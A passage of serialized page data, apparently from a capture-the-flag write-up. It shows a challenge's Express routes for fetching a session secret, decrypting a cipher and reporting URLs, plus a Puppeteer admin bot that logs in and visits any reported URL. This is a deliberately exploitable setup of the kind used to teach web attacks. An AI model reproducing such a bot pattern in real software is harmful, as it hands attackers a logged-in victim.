if",{"type":29,"tag":128,"props":1277,"children":1278},{"style":188},[1279],{"type":34,"value":191},{"type":29,"tag":128,"props":1281,"children":1282},{"style":205},[1283],{"type":34,"value":1284},"result",{"type":29,"tag":128,"props":1286,"children":1287},{"style":188},[1288],{"type":34,"value":1127},{"type":29,"tag":128,"props":1290,"children":1291},{"style":188},[1292],{"type":34,"value":1137},{"type":29,"tag":128,"props":1294,"children":1295},{"class":130,"line":298},[1296,1301,1305,1309,1314,1318,1323,1328,1333,1338,1343,1347,1351],{"type":29,"tag":128,"props":1297,"children":1298},{"style":182},[1299],{"type":34,"value":1300},"        return",{"type":29,"tag":128,"props":1302,"children":1303},{"style":205},[1304],{"type":34,"value":1122},{"type":29,"tag":128,"props":1306,"children":1307},{"style":188},[1308],{"type":34,"value":64},{"type":29,"tag":128,"props":1310,"children":1311},{"style":743},[1312],{"type":34,"value":1313},"status",{"type":29,"tag":128,"props":1315,"children":1316},{"style":188},[1317],{"type":34,"value":793},{"type":29,"tag":128,"props":1319,"children":1320},{"style":796},[1321],{"type":34,"value":1322},"200",{"type":29,"tag":128,"props":1324,"children":1325},{"style":188},[1326],{"type":34,"value":1327},").",{"type":29,"tag":128,"props":1329,"children":1330},{"style":743},[1331],{"type":34,"value":1332},"json",{"type":29,"tag":128,"props":1334,"children":1335},{"style":188},[1336],{"type":34,"value":1337},"({",{"type":29,"tag":128,"props":1339,"children":1340},{"style":194},[1341],{"type":34,"value":1342}," secret",{"type":29,"tag":128,"props":1344,"children":1345},{"style":188},[1346],{"type":34,"value":238},{"type":29,"tag":128,"props":1348,"children":1349},{"style":205},[1350],{"type":34,"value":1215},{"type":29,"tag":128,"props":1352,"children":1353},{"style":188},[1354],{"type":34,"value":1355}," });\n",{"type":29,"tag":128,"props":1357,"children":1358},{"class":130,"line":323},[1359],{"type":29,"tag":128,"props":1360,"children":1361},{"style":188},[1362],{"type":34,"value":1363},"    }\n",{"type":29,"tag":128,"props":1365,"children":1366},{"class":130,"line":364},[1367,1372,1376,1380,1384,1388,1393,1397,1401,1405,1410,1414,1419,1424,1428],{"type":29,"tag":128,"props":1368,"children":1369},{"style":182},[1370],{"type":34,"value":1371},"    return",{"type":29,"tag":128,"props":1373,"children":1374},{"style":205},[1375],{"type":34,"value":1122},{"type":29,"tag":128,"props":1377,"children":1378},{"style":188},[1379],{"type":34,"value":64},{"type":29,"tag":128,"props":1381,"children":1382},{"style":743},[1383],{"type":34,"value":1313},{"type":29,"tag":128,"props":1385,"children":1386},{"style":188},[1387],{"type":34,"value":793},{"type":29,"tag":128,"props":1389,"children":1390},{"style":796},[1391],{"type":34,"value":1392},"400",{"type":29,"tag":128,"props":1394,"children":1395},{"style":188},[1396],{"type":34,"value":1327},{"type":29,"tag":128,"props":1398,"children":1399},{"style":743},[1400],{"type":34,"value":1332},{"type":29,"tag":128,"props":1402,"children":1403},{"style":188},[1404],{"type":34,"value":1337},{"type":29,"tag":128,"props":1406,"children":1407},{"style":194},[1408],{"type":34,"value":1409}," error",{"type":29,"tag":128,"props":1411,"children":1412},{"style":188},[1413],{"type":34,"value":238},{"type":29,"tag":128,"props":1415,"children":1416},{"style":216},[1417],{"type":34,"value":1418}," '",{"type":29,"tag":128,"props":1420,"children":1421},{"style":222},[1422],{"type":34,"value":1423},"No secret found",{"type":29,"tag":128,"props":1425,"children":1426},{"style":216},[1427],{"type":34,"value":219},{"type":29,"tag":128,"props":1429,"children":1430},{"style":188},[1431],{"type":34,"value":1355},{"type":29,"tag":128,"props":1433,"children":1434},{"class":130,"line":407},[1435],{"type":29,"tag":128,"props":1436,"children":1437},{"style":188},[1438],{"type":34,"value":1439},"});\n",{"type":29,"tag":128,"props":1441,"children":1442},{"class":130,"line":470},[1443],{"type":29,"tag":128,"props":1444,"children":1445},{"emptyLinePlaceholder":906},[1446],{"type":34,"value":909},{"type":29,"tag":128,"props":1448,"children":1449},{"class":130,"line":531},[1450,1454,1458,1463,1467,1471,1476,1480,1484,1488,1492,1496,1500,1504,1508,1512],{"type":29,"tag":128,"props":1451,"children":1452},{"style":205},[1453],{"type":34,"value":1069},{"type":29,"tag":128,"props":1455,"children":1456},{"style":188},[1457],{"type":34,"value":64},{"type":29,"tag":128,"props":1459,"children":1460},{"style":743},[1461],{"type":34,"value":1462},"post",{"type":29,"tag":128,"props":1464,"children":1465},{"style":188},[1466],{"type":34,"value":793},{"type":29,"tag":128,"props":1468,"children":1469},{"style":216},[1470],{"type":34,"value":219},{"type":29,"tag":128,"props":1472,"children":1473},{"style":222},[1474],{"type":34,"value":1475},"/decrypt",{"type":29,"tag":128,"props":1477,"children":1478},{"style":216},[1479],{"type":34,"value":219},{"type":29,"tag":128,"props":1481,"children":1482},{"style":188},[1483],{"type":34,"value":1099},{"type":29,"tag":128,"props":1485,"children":1486},{"style":135},[1487],{"type":34,"value":1104},{"type":29,"tag":128,"props":1489,"children":1490},{"style":188},[1491],{"type":34,"value":191},{"type":29,"tag":128,"props":1493,"children":1494},{"style":205},[1495],{"type":34,"value":1113},{"type":29,"tag":128,"props":1497,"children":1498},{"style":188},[1499],{"type":34,"value":1099},{"type":29,"tag":128,"props":1501,"children":1502},{"style":205},[1503],{"type":34,"value":1122},{"type":29,"tag":128,"props":1505,"children":1506},{"style":188},[1507],{"type":34,"value":1127},{"type":29,"tag":128,"props":1509,"children":1510},{"style":188},[1511],{"type":34,"value":1132},{"type":29,"tag":128,"props":1513,"children":1514},{"style":188},[1515],{"type":34,"value":1137},{"type":29,"tag":128,"props":1517,"children":1518},{"class":130,"line":590},[1519,1523,1527,1532,1536,1540,1544,1548,1553,1557],{"type":29,"tag":128,"props":1520,"children":1521},{"style":182},[1522],{"type":34,"value":1275},{"type":29,"tag":128,"props":1524,"children":1525},{"style":188},[1526],{"type":34,"value":191},{"type":29,"tag":128,"props":1528,"children":1529},{"style":135},[1530],{"type":34,"value":1531},"!",{"type":29,"tag":128,"props":1533,"children":1534},{"style":205},[1535],{"type":34,"value":1113},{"type":29,"tag":128,"props":1537,"children":1538},{"style":188},[1539],{"type":34,"value":64},{"type":29,"tag":128,"props":1541,"children":1542},{"style":205},[1543],{"type":34,"value":162},{"type":29,"tag":128,"props":1545,"children":1546},{"style":188},[1547],{"type":34,"value":64},{"type":29,"tag":128,"props":1549,"children":1550},{"style":205},[1551],{"type":34,"value":1552},"secret",{"type":29,"tag":128,"props":1554,"children":1555},{"style":188},[1556],{"type":34,"value":1127},{"type":29,"tag":128,"props":1558,"children":1559},{"style":188},[1560],{"type":34,"value":1137},{"type":29,"tag":128,"props":1562,"children":1563},{"class":130,"line":607},[1564,1568,1572,1576,1580,1584,1588,1592,1596,1600,1604,1608,1612,1617,1621],{"type":29,"tag":128,"props":1565,"children":1566},{"style":182},[1567],{"type":34,"value":1300},{"type":29,"tag":128,"props":1569,"children":1570},{"style":205},[1571],{"type":34,"value":1122},{"type":29,"tag":128,"props":1573,"children":1574},{"style":188},[1575],{"type":34,"value":64},{"type":29,"tag":128,"props":1577,"children":1578},{"style":743},[1579],{"type":34,"value":1313},{"type":29,"tag":128,"props":1581,"children":1582},{"style":188},[1583],{"type":34,"value":793},{"type":29,"tag":128,"props":1585,"children":1586},{"style":796},[1587],{"type":34,"value":1392},{"type":29,"tag":128,"props":1589,"children":1590},{"style":188},[1591],{"type":34,"value":1327},{"type":29,"tag":128,"props":1593,"children":1594},{"style":743},[1595],{"type":34,"value":1332},{"type":29,"tag":128,"props":1597,"children":1598},{"style":188},[1599],{"type":34,"value":1337},{"type":29,"tag":128,"props":1601,"children":1602},{"style":194},[1603],{"type":34,"value":1409},{"type":29,"tag":128,"props":1605,"children":1606},{"style":188},[1607],{"type":34,"value":238},{"type":29,"tag":128,"props":1609,"children":1610},{"style":216},[1611],{"type":34,"value":1418},{"type":29,"tag":128,"props":1613,"children":1614},{"style":222},[1615],{"type":34,"value":1616},"Missing secret",{"type":29,"tag":128,"props":1618,"children":1619},{"style":216},[1620],{"type":34,"value":219},{"type":29,"tag":128,"props":1622,"children":1623},{"style":188},[1624],{"type":34,"value":1355},{"type":29,"tag":128,"props":1626,"children":1627},{"class":130,"line":633},[1628],{"type":29,"tag":128,"props":1629,"children":1630},{"style":188},[1631],{"type":34,"value":1363},{"type":29,"tag":128,"props":1633,"children":1634},{"class":130,"line":650},[1635],{"type":29,"tag":128,"props":1636,"children":1637},{"emptyLinePlaceholder":906},[1638],{"type":34,"value":909},{"type":29,"tag":128,"props":1640,"children":1641},{"class":130,"line":1038},[1642,1646,1650,1654,1658,1662,1666,1670,1675,1679],{"type":29,"tag":128,"props":1643,"children":1644},{"style":182},[1645],{"type":34,"value":1275},{"type":29,"tag":128,"props":1647,"children":1648},{"style":188},[1649],{"type":34,"value":191},{"type":29,"tag":128,"props":1651,"children":1652},{"style":135},[1653],{"type":34,"value":1531},{"type":29,"tag":128,"props":1655,"children":1656},{"style":205},[1657],{"type":34,"value":1113},{"type":29,"tag":128,"props":1659,"children":1660},{"style":188},[1661],{"type":34,"value":64},{"type":29,"tag":128,"props":1663,"children":1664},{"style":205},[1665],{"type":34,"value":162},{"type":29,"tag":128,"props":1667,"children":1668},{"style":188},[1669],{"type":34,"value":64},{"type":29,"tag":128,"props":1671,"children":1672},{"style":205},[1673],{"type":34,"value":1674},"cipher",{"type":29,"tag":128,"props":1676,"children":1677},{"style":188},[1678],{"type":34,"value":1127},{"type":29,"tag":128,"props":1680,"children":1681},{"style":188},[1682],{"type":34,"value":1137},{"type":29,"tag":128,"props":1684,"children":1686},{"class":130,"line":1685},16,[1687,1691,1695,1699,1703,1707,1711,1715,1719,1723,1727,1731,1735,1740,1744],{"type":29,"tag":128,"props":1688,"children":1689},{"style":182},[1690],{"type":34,"value":1300},{"type":29,"tag":128,"props":1692,"children":1693},{"style":205},[1694],{"type":34,"value":1122},{"type":29,"tag":128,"props":1696,"children":1697},{"style":188},[1698],{"type":34,"value":64},{"type":29,"tag":128,"props":1700,"children":1701},{"style":743},[1702],{"type":34,"value":1313},{"type":29,"tag":128,"props":1704,"children":1705},{"style":188},[1706],{"type":34,"value":793},{"type":29,"tag":128,"props":1708,"children":1709},{"style":796},[1710],{"type":34,"value":1392},{"type":29,"tag":128,"props":1712,"children":1713},{"style":188},[1714],{"type":34,"value":1327},{"type":29,"tag":128,"props":1716,"children":1717},{"style":743},[1718],{"type":34,"value":1332},{"type":29,"tag":128,"props":1720,"children":1721},{"style":188},[1722],{"type":34,"value":1337},{"type":29,"tag":128,"props":1724,"children":1725},{"style":194},[1726],{"type":34,"value":1409},{"type":29,"tag":128,"props":1728,"children":1729},{"style":188},[1730],{"type":34,"value":238},{"type":29,"tag":128,"props":1732,"children":1733},{"style":216},[1734],{"type":34,"value":1418},{"type":29,"tag":128,"props":1736,"children":1737},{"style":222},[1738],{"type":34,"value":1739},"Missing cipher",{"type":29,"tag":128,"props":1741,"children":1742},{"style":216},[1743],{"type":34,"value":219},{"type":29,"tag":128,"props":1745,"children":1746},{"style":188},[1747],{"type":34,"value":1355},{"type":29,"tag":128,"props":1749,"children":1751},{"class":130,"line":1750},17,[1752],{"type":29,"tag":128,"props":1753,"children":1754},{"style":188},[1755],{"type":34,"value":1363},{"type":29,"tag":128,"props":1757,"children":1759},{"class":130,"line":1758},18,[1760],{"type":29,"tag":128,"props":1761,"children":1762},{"emptyLinePlaceholder":906},[1763],{"type":34,"value":909},{"type":29,"tag":128,"props":1765,"children":1767},{"class":130,"line":1766},19,[1768,1773],{"type":29,"tag":128,"props":1769,"children":1770},{"style":182},[1771],{"type":34,"value":1772},"    try",{"type":29,"tag":128,"props":1774,"children":1775},{"style":188},[1776],{"type":34,"value":1137},{"type":29,"tag":128,"props":1778,"children":1780},{"class":130,"line":1779},20,[1781,1786,1790,1794,1799,1803,1807,1811,1815,1819,1823,1827,1831,1835,1839,1843,1847],{"type":29,"tag":128,"props":1782,"children":1783},{"style":135},[1784],{"type":34,"value":1785},"        const",{"type":29,"tag":128,"props":1787,"children":1788},{"style":205},[1789],{"type":34,"value":1215},{"type":29,"tag":128,"props":1791,"children":1792},{"style":188},[1793],{"type":34,"value":1220},{"type":29,"tag":128,"props":1795,"children":1796},{"style":743},[1797],{"type":34,"value":1798}," decrypt",{"type":29,"tag":128,"props":1800,"children":1801},{"style":188},[1802],{"type":34,"value":793},{"type":29,"tag":128,"props":1804,"children":1805},{"style":205},[1806],{"type":34,"value":1113},{"type":29,"tag":128,"props":1808,"children":1809},{"style":188},[1810],{"type":34,"value":64},{"type":29,"tag":128,"props":1812,"children":1813},{"style":205},[1814],{"type":34,"value":162},{"type":29,"tag":128,"props":1816,"children":1817},{"style":188},[1818],{"type":34,"value":64},{"type":29,"tag":128,"props":1820,"children":1821},{"style":205},[1822],{"type":34,"value":1674},{"type":29,"tag":128,"props":1824,"children":1825},{"style":188},[1826],{"type":34,"value":1099},{"type":29,"tag":128,"props":1828,"children":1829},{"style":205},[1830],{"type":34,"value":1179},{"type":29,"tag":128,"props":1832,"children":1833},{"style":188},[1834],{"type":34,"value":64},{"type":29,"tag":128,"props":1836,"children":1837},{"style":205},[1838],{"type":34,"value":162},{"type":29,"tag":128,"props":1840,"children":1841},{"style":188},[1842],{"type":34,"value":64},{"type":29,"tag":128,"props":1844,"children":1845},{"style":205},[1846],{"type":34,"value":1552},{"type":29,"tag":128,"props":1848,"children":1849},{"style":188},[1850],{"type":34,"value":900},{"type":29,"tag":128,"props":1852,"children":1854},{"class":130,"line":1853},21,[1855,1859,1863,1867,1871,1875,1879,1883,1887,1891,1896,1900,1904],{"type":29,"tag":128,"props":1856,"children":1857},{"style":182},[1858],{"type":34,"value":1300},{"type":29,"tag":128,"props":1860,"children":1861},{"style":205},[1862],{"type":34,"value":1122},{"type":29,"tag":128,"props":1864,"children":1865},{"style":188},[1866],{"type":34,"value":64},{"type":29,"tag":128,"props":1868,"children":1869},{"style":743},[1870],{"type":34,"value":1313},{"type":29,"tag":128,"props":1872,"children":1873},{"style":188},[1874],{"type":34,"value":793},{"type":29,"tag":128,"props":1876,"children":1877},{"style":796},[1878],{"type":34,"value":1322},{"type":29,"tag":128,"props":1880,"children":1881},{"style":188},[1882],{"type":34,"value":1327},{"type":29,"tag":128,"props":1884,"children":1885},{"style":743},[1886],{"type":34,"value":1332},{"type":29,"tag":128,"props":1888,"children":1889},{"style":188},[1890],{"type":34,"value":1337},{"type":29,"tag":128,"props":1892,"children":1893},{"style":194},[1894],{"type":34,"value":1895}," decrypted",{"type":29,"tag":128,"props":1897,"children":1898},{"style":188},[1899],{"type":34,"value":238},{"type":29,"tag":128,"props":1901,"children":1902},{"style":205},[1903],{"type":34,"value":1215},{"type":29,"tag":128,"props":1905,"children":1906},{"style":188},[1907],{"type":34,"value":1355},{"type":29,"tag":128,"props":1909,"children":1911},{"class":130,"line":1910},22,[1912,1917,1922,1926,1931,1935],{"type":29,"tag":128,"props":1913,"children":1914},{"style":188},[1915],{"type":34,"value":1916},"    }",{"type":29,"tag":128,"props":1918,"children":1919},{"style":182},[1920],{"type":34,"value":1921}," catch",{"type":29,"tag":128,"props":1923,"children":1924},{"style":188},[1925],{"type":34,"value":191},{"type":29,"tag":128,"props":1927,"children":1928},{"style":205},[1929],{"type":34,"value":1930},"e",{"type":29,"tag":128,"props":1932,"children":1933},{"style":188},[1934],{"type":34,"value":1127},{"type":29,"tag":128,"props":1936,"children":1937},{"style":188},[1938],{"type":34,"value":1137},{"type":29,"tag":128,"props":1940,"children":1942},{"class":130,"line":1941},23,[1943,1947,1951,1955,1959,1963,1967,1971,1975,1979,1983,1987,1991,1996,2000],{"type":29,"tag":128,"props":1944,"children":1945},{"style":182},[1946],{"type":34,"value":1300},{"type":29,"tag":128,"props":1948,"children":1949},{"style":205},[1950],{"type":34,"value":1122},{"type":29,"tag":128,"props":1952,"children":1953},{"style":188},[1954],{"type":34,"value":64},{"type":29,"tag":128,"props":1956,"children":1957},{"style":743},[1958],{"type":34,"value":1313},{"type":29,"tag":128,"props":1960,"children":1961},{"style":188},[1962],{"type":34,"value":793},{"type":29,"tag":128,"props":1964,"children":1965},{"style":796},[1966],{"type":34,"value":1392},{"type":29,"tag":128,"props":1968,"children":1969},{"style":188},[1970],{"type":34,"value":1327},{"type":29,"tag":128,"props":1972,"children":1973},{"style":743},[1974],{"type":34,"value":1332},{"type":29,"tag":128,"props":1976,"children":1977},{"style":188},[1978],{"type":34,"value":1337},{"type":29,"tag":128,"props":1980,"children":1981},{"style":194},[1982],{"type":34,"value":1409},{"type":29,"tag":128,"props":1984,"children":1985},{"style":188},[1986],{"type":34,"value":238},{"type":29,"tag":128,"props":1988,"children":1989},{"style":216},[1990],{"type":34,"value":1418},{"type":29,"tag":128,"props":1992,"children":1993},{"style":222},[1994],{"type":34,"value":1995},"Invalid key or cipher",{"type":29,"tag":128,"props":1997,"children":1998},{"style":216},[1999],{"type":34,"value":219},{"type":29,"tag":128,"props":2001,"children":2002},{"style":188},[2003],{"type":34,"value":1355},{"type":29,"tag":128,"props":2005,"children":2007},{"class":130,"line":2006},24,[2008],{"type":29,"tag":128,"props":2009,"children":2010},{"style":188},[2011],{"type":34,"value":1363},{"type":29,"tag":128,"props":2013,"children":2015},{"class":130,"line":2014},25,[2016],{"type":29,"tag":128,"props":2017,"children":2018},{"style":188},[2019],{"type":34,"value":1439},{"type":29,"tag":128,"props":2021,"children":2023},{"class":130,"line":2022},26,[2024],{"type":29,"tag":128,"props":2025,"children":2026},{"emptyLinePlaceholder":906},[2027],{"type":34,"value":909},{"type":29,"tag":128,"props":2029,"children":2031},{"class":130,"line":2030},27,[2032],{"type":29,"tag":128,"props":2033,"children":2035},{"style":2034},"--shiki-default:#758575DD",[2036],{"type":34,"value":2037},"// Report any suspicious activity to the admin!\n",{"type":29,"tag":128,"props":2039,"children":2041},{"class":130,"line":2040},28,[2042,2046,2050,2054,2058,2062,2067,2071,2075,2080],{"type":29,"tag":128,"props":2043,"children":2044},{"style":205},[2045],{"type":34,"value":1069},{"type":29,"tag":128,"props":2047,"children":2048},{"style":188},[2049],{"type":34,"value":64},{"type":29,"tag":128,"props":2051,"children":2052},{"style":743},[2053],{"type":34,"value":1462},{"type":29,"tag":128,"props":2055,"children":2056},{"style":188},[2057],{"type":34,"value":793},{"type":29,"tag":128,"props":2059,"children":2060},{"style":216},[2061],{"type":34,"value":219},{"type":29,"tag":128,"props":2063,"children":2064},{"style":222},[2065],{"type":34,"value":2066},"/report",{"type":29,"tag":128,"props":2068,"children":2069},{"style":216},[2070],{"type":34,"value":219},{"type":29,"tag":128,"props":2072,"children":2073},{"style":188},[2074],{"type":34,"value":1099},{"type":29,"tag":128,"props":2076,"children":2077},{"style":205},[2078],{"type":34,"value":2079}," doReportHandler",{"type":29,"tag":128,"props":2081,"children":2082},{"style":188},[2083],{"type":34,"value":900},{"type":29,"tag":2085,"props":2086,"children":2087},"ul",{},[2088,2094,2099],{"type":29,"tag":2089,"props":2090,"children":2091},"li",{},[2092],{"type":34,"value":2093},"GET /secret - When a client sends a GET request to the /secret endpoint, the server will retrieve the secret associated with the user's session using the userId stored in the session. If the secret is found, the server will return a 200 OK response with a secret field in the JSON response body. If the secret is not found, the server will return a 400 Bad Request response with a error field indicating that no secret was found.",{"type":29,"tag":2089,"props":2095,"children":2096},{},[2097],{"type":34,"value":2098},"POST /decrypt - When a client sends a POST request to the /decrypt endpoint with a cipher and secret in the request body, the server will attempt to decrypt the cipher using the secret. If either the secret or cipher is missing, the server will return a 400 Bad Request response with a error field indicating that one of the required fields is missing. If the decryption fails, the server will return a 400 Bad Request response with a error field indicating that the key or cipher is invalid. If the decryption is successful, the server will return a 200 OK response with a decrypted field in the JSON response body.",{"type":29,"tag":2089,"props":2100,"children":2101},{},[2102],{"type":34,"value":2103},"POST /report - When a client sends a POST request to the /report endpoint, the server will handle the request using the doReportHandler function, which appears to be responsible for reporting suspicious activity to the admin.",{"type":29,"tag":43,"props":2105,"children":2106},{},[2107,2109,2115],{"type":34,"value":2108},"The function ",{"type":29,"tag":49,"props":2110,"children":2112},{"className":2111},[],[2113],{"type":34,"value":2114},"doReportHandler",{"type":34,"value":2116}," will trigger a puppeteer script:",{"type":29,"tag":114,"props":2118,"children":2119},{"lang":1056},[2120],{"type":29,"tag":119,"props":2121,"children":2123},{"code":2122,"language":1056,"meta":7,"className":1057,"style":7},"const puppeteer = require('puppeteer')\n\n// please note that 127.0.0.1 and localhost are considered different hosts\n// due to ingress networking rules a container can't reach itself through the it's external IP, so you'd have to use the internal ports (80, 8080) and 127.0.0.1\n\nconst LOGIN_URL = \"http://127.0.0.1/login\";\n\nlet browser = null\n\nconst visit = async (url) => {\n    const ctx = await browser.createIncognitoBrowserContext()\n    const page = await ctx.newPage()\n\n    await page.goto(LOGIN_URL, { waitUntil: 'networkidle2' })\n    await page.waitForSelector('form')\n    await page.type('wired-input[name=username]', process.env.USERNAME)\n    await page.type('wired-input[name=password]', process.env.PASSWORD)\n    await page.click('wired-button')\n\n    try {\n        await page.goto(url, { waitUntil: 'networkidle2' })\n    } finally {\n        await page.close()\n        await ctx.close()\n    }\n}\n\nconst doReportHandler = async (req, res) => {\n\n    if (!browser) {\n        console.log('[INFO] Starting browser')\n        browser = await puppeteer.launch({\n            args: [\n                ...\n            ]\n        })\n    }\n\n    const url = req.body.url\n    if (\n        url === undefined ||\n        (!url.startsWith('http://') && !url.startsWith('https://'))\n    ) {\n        return res.status(400).send({ error: 'Invalid URL' })\n    }\n\n    try {\n        await visit(url)\n        return res.sendStatus(200)\n    } catch (e) {\n        return res.status(400).send({ error: e.message })\n    }\n}\n\nmodule.exports = { doReportHandler }\n",[2124],{"type":29,"tag":49,"props":2125,"children":2126},{"__ignoreMap":7},[2127,2170,2177,2185,2193,2200,2235,2242,2264,2271,2312,2350,2387,2394,2460,2500,2568,2633,2674,2681,2692,2752,2768,2792,2815,2822,2830,2837,2884,2892,2921,2959,2994,3012,3021,3030,3039,3047,3055,3093,3105,3129,3220,3233,3299,3307,3315,3327,3351,3384,3412,3478,3486,3494,3502],{"type":29,"tag":128,"props":2128,"children":2129},{"class":130,"line":131},[2130,2135,2140,2144,2149,2153,2157,2162,2166],{"type":29,"tag":128,"props":2131,"children":2132},{"style":135},[2133],{"type":34,"value":2134},"const",{"type":29,"tag":128,"props":2136,"children":2137},{"style":205},[2138],{"type":34,"value":2139}," puppeteer",{"type":29,"tag":128,"props":2141,"children":2142},{"style":188},[2143],{"type":34,"value":1220},{"type":29,"tag":128,"props":2145,"children":2146},{"style":743},[2147],{"type":34,"value":2148}," require",{"type":29,"tag":128,"props":2150,"children":2151},{"style":188},[2152],{"type":34,"value":793},{"type":29,"tag":128,"props":2154,"children":2155},{"style":216},[2156],{"type":34,"value":219},{"type":29,"tag":128,"props":2158,"children":2159},{"style":222},[2160],{"type":34,"value":2161},"puppeteer",{"type":29,"tag":128,"props":2163,"children":2164},{"style":216},[2165],{"type":34,"value":219},{"type":29,"tag":128,"props":2167,"children":2168},{"style":188},[2169],{"type":34,"value":1202},{"type":29,"tag":128,"props":2171,"children":2172},{"class":130,"line":151},[2173],{"type":29,"tag":128,"props":2174,"children":2175},{"emptyLinePlaceholder":906},[2176],{"type":34,"value":909},{"type":29,"tag":128,"props":2178,"children":2179},{"class":130,"line":169},[2180],{"type":29,"tag":128,"props":2181,"children":2182},{"style":2034},[2183],{"type":34,"value":2184},"// please note that 127.0.0.1 and localhost are considered different hosts\n",{"type":29,"tag":128,"props":2186,"children":2187},{"class":130,"line":246},[2188],{"type":29,"tag":128,"props":2189,"children":2190},{"style":2034},[2191],{"type":34,"value":2192},"// due to ingress networking rules a container can't reach itself through the it's external IP, so you'd have to use the internal ports (80, 8080) and 127.0.0.1\n",{"type":29,"tag":128,"props":2194,"children":2195},{"class":130,"line":298},[2196],{"type":29,"tag":128,"props":2197,"children":2198},{"emptyLinePlaceholder":906},[2199],{"type":34,"value":909},{"type":29,"tag":128,"props":2201,"children":2202},{"class":130,"line":323},[2203,2207,2212,2216,2221,2226,2230],{"type":29,"tag":128,"props":2204,"children":2205},{"style":135},[2206],{"type":34,"value":2134},{"type":29,"tag":128,"props":2208,"children":2209},{"style":205},[2210],{"type":34,"value":2211}," LOGIN_URL",{"type":29,"tag":128,"props":2213,"children":2214},{"style":188},[2215],{"type":34,"value":1220},{"type":29,"tag":128,"props":2217,"children":2218},{"style":216},[2219],{"type":34,"value":2220}," \"",{"type":29,"tag":128,"props":2222,"children":2223},{"style":222},[2224],{"type":34,"value":2225},"http://127.0.0.1/login",{"type":29,"tag":128,"props":2227,"children":2228},{"style":216},[2229],{"type":34,"value":432},{"type":29,"tag":128,"props":2231,"children":2232},{"style":188},[2233],{"type":34,"value":2234},";\n",{"type":29,"tag":128,"props":2236,"children":2237},{"class":130,"line":364},[2238],{"type":29,"tag":128,"props":2239,"children":2240},{"emptyLinePlaceholder":906},[2241],{"type":34,"value":909},{"type":29,"tag":128,"props":2243,"children":2244},{"class":130,"line":407},[2245,2250,2255,2259],{"type":29,"tag":128,"props":2246,"children":2247},{"style":135},[2248],{"type":34,"value":2249},"let",{"type":29,"tag":128,"props":2251,"children":2252},{"style":205},[2253],{"type":34,"value":2254}," browser",{"type":29,"tag":128,"props":2256,"children":2257},{"style":188},[2258],{"type":34,"value":1220},{"type":29,"tag":128,"props":2260,"children":2261},{"style":135},[2262],{"type":34,"value":2263}," null\n",{"type":29,"tag":128,"props":2265,"children":2266},{"class":130,"line":470},[2267],{"type":29,"tag":128,"props":2268,"children":2269},{"emptyLinePlaceholder":906},[2270],{"type":34,"value":909},{"type":29,"tag":128,"props":2272,"children":2273},{"class":130,"line":531},[2274,2278,2283,2287,2291,2295,2300,2304,2308],{"type":29,"tag":128,"props":2275,"children":2276},{"style":135},[2277],{"type":34,"value":2134},{"type":29,"tag":128,"props":2279,"children":2280},{"style":743},[2281],{"type":34,"value":2282}," visit",{"type":29,"tag":128,"props":2284,"children":2285},{"style":188},[2286],{"type":34,"value":1220},{"type":29,"tag":128,"props":2288,"children":2289},{"style":135},[2290],{"type":34,"value":1104},{"type":29,"tag":128,"props":2292,"children":2293},{"style":188},[2294],{"type":34,"value":191},{"type":29,"tag":128,"props":2296,"children":2297},{"style":205},[2298],{"type":34,"value":2299},"url",{"type":29,"tag":128,"props":2301,"children":2302},{"style":188},[2303],{"type":34,"value":1127},{"type":29,"tag":128,"props":2305,"children":2306},{"style":188},[2307],{"type":34,"value":1132},{"type":29,"tag":128,"props":2309,"children":2310},{"style":188},[2311],{"type":34,"value":1137},{"type":29,"tag":128,"props":2313,"children":2314},{"class":130,"line":590},[2315,2319,2324,2328,2332,2336,2340,2345],{"type":29,"tag":128,"props":2316,"children":2317},{"style":135},[2318],{"type":34,"value":1210},{"type":29,"tag":128,"props":2320,"children":2321},{"style":205},[2322],{"type":34,"value":2323}," ctx",{"type":29,"tag":128,"props":2325,"children":2326},{"style":188},[2327],{"type":34,"value":1220},{"type":29,"tag":128,"props":2329,"children":2330},{"style":182},[2331],{"type":34,"value":1225},{"type":29,"tag":128,"props":2333,"children":2334},{"style":205},[2335],{"type":34,"value":2254},{"type":29,"tag":128,"props":2337,"children":2338},{"style":188},[2339],{"type":34,"value":64},{"type":29,"tag":128,"props":2341,"children":2342},{"style":743},[2343],{"type":34,"value":2344},"createIncognitoBrowserContext",{"type":29,"tag":128,"props":2346,"children":2347},{"style":188},[2348],{"type":34,"value":2349},"()\n",{"type":29,"tag":128,"props":2351,"children":2352},{"class":130,"line":607},[2353,2357,2362,2366,2370,2374,2378,2383],{"type":29,"tag":128,"props":2354,"children":2355},{"style":135},[2356],{"type":34,"value":1210},{"type":29,"tag":128,"props":2358,"children":2359},{"style":205},[2360],{"type":34,"value":2361}," page",{"type":29,"tag":128,"props":2363,"children":2364},{"style":188},[2365],{"type":34,"value":1220},{"type":29,"tag":128,"props":2367,"children":2368},{"style":182},[2369],{"type":34,"value":1225},{"type":29,"tag":128,"props":2371,"children":2372},{"style":205},[2373],{"type":34,"value":2323},{"type":29,"tag":128,"props":2375,"children":2376},{"style":188},[2377],{"type":34,"value":64},{"type":29,"tag":128,"props":2379,"children":2380},{"style":743},[2381],{"type":34,"value":2382},"newPage",{"type":29,"tag":128,"props":2384,"children":2385},{"style":188},[2386],{"type":34,"value":2349},{"type":29,"tag":128,"props":2388,"children":2389},{"class":130,"line":633},[2390],{"type":29,"tag":128,"props":2391,"children":2392},{"emptyLinePlaceholder":906},[2393],{"type":34,"value":909},{"type":29,"tag":128,"props":2395,"children":2396},{"class":130,"line":650},[2397,2402,2406,2410,2415,2419,2424,2428,2433,2438,2442,2446,2451,2455],{"type":29,"tag":128,"props":2398,"children":2399},{"style":182},[2400],{"type":34,"value":2401},"    await",{"type":29,"tag":128,"props":2403,"children":2404},{"style":205},[2405],{"type":34,"value":2361},{"type":29,"tag":128,"props":2407,"children":2408},{"style":188},[2409],{"type":34,"value":64},{"type":29,"tag":128,"props":2411,"children":2412},{"style":743},[2413],{"type":34,"value":2414},"goto",{"type":29,"tag":128,"props":2416,"children":2417},{"style":188},[2418],{"type":34,"value":793},{"type":29,"tag":128,"props":2420,"children":2421},{"style":205},[2422],{"type":34,"value":2423},"LOGIN_URL",{"type":29,"tag":128,"props":2425,"children":2426},{"style":188},[2427],{"type":34,"value":1099},{"type":29,"tag":128,"props":2429,"children":2430},{"style":188},[2431],{"type":34,"value":2432}," {",{"type":29,"tag":128,"props":2434,"children":2435},{"style":194},[2436],{"type":34,"value":2437}," 